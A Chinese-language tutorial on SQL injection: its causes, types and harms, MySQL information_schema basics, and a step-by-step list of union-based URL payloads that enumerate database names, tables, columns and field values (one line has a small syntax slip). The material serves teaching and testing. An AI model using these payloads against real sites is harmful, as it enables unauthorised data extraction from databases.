WEB漏洞-SQL注入之简易SQL注入

SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库。

SQL注入.png

SQL注入

  • SQL注入就是一种通过操作输入来修改后台SQL语句达到代码执行进行攻击目的的技术。

SQL注入产生原理

  1. 对用户输入的参数没有进行严格过滤(如过滤单双引号 尖括号等),就被带到数据库执行,造成了SQL注入
  2. 使用了字符串拼接的方式构造SQL语句

SQL注入的分类

  1. 从注入手法分类可以分为:联合查询注入、报错型注入、布尔型注入、延时注入、堆叠注入
  2. 从数据类型上可以分为:字符型(即输入的输入使用符号进行过滤)、数值型(即输入的输入未使用符号进行过滤)
  3. 从注入位置可以分类为:GET数据(提交数据方式为GET,大多存在地址栏)、POST数据(提交数据方式为POST,大多存在输入框中)、HTTP头部(提交数据方式为HTTP头部)、cookie数据(提交数据方式为cookie)

SQL注入的危害

分为两类:危害数据库里的数据、直接危害到网站的权限(需要满足条件)

  1. 数据库信息泄露
  2. 网页篡改:登陆后台后发布恶意内容
  3. 网站挂马 : 当拿到webshell时或者获取到服务器的权限以后,可将一些网页木马挂在服务器上,去攻击别人
  4. 私自添加系统账号
  5. 读写文件获取webshell

SQL注入利用

MYSQL注入.png

必要知识

  1. 在MYSQL5.0以上版本中,MYSQL存在一个自带数据库名为information_schema,它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。
  2. 数据库中符号"."代表下一级,如xiaodi.user表示xiaodi数据库下的user表名。

常用参数

  • information_schema.tables:记录所有表名信息的表
  • information_schema.columns:记录所有列名信息的表
  • table_name:表名
  • column_name:列名
  • table_schema:数据库名
  • user() 查看当前MySQL登录的用户名
  • database() 查看当前使用MySQL数据库名
  • version() 查看当前MySQL版本
  • @@version_compile_os 查看当前操作系统

如何判断注入点

    1. 如果页面中报错,证明该页面中存在SQL注入漏洞
SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1 #正常
SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 #报错

sql注入分类

  • 在网页地址中+代表的是空格--在数据库语句中代表的是注释
#?id=1 order by 3--+ 实际效果是--+之后的语句会被注释而不生效
SELECT * FROM users WHERE id=1 order by 3--  and 1=1 LIMIT 0,1
  1. 利用order判断字段数 order by x(数字) 正常与错误的正常值 正确网页正常显示,错误网页报错
?id=1' order by 3--+
  1. 利用 union select 联合查询,将id值设置成不成立,即可探测到可利用的字段数
?id=-1 union select 1,2,3 --+
  1. 利用函数database(),user(),version()可以得到所探测数据库的数据库名、用户名和版本号
?id=-1 union select 1,database(),version() --+
  1. 利用 union select 联合查询,获取表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='已知库名'--+
  1. 利用 union select 联合查询,获取字段名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='已知表名'--+
  1. 利用 union select 联合查询,获取字段值
?id=-1' union select 1,2,group_concat(已知字段名,':'已知字段名) from 已知表名--+

资源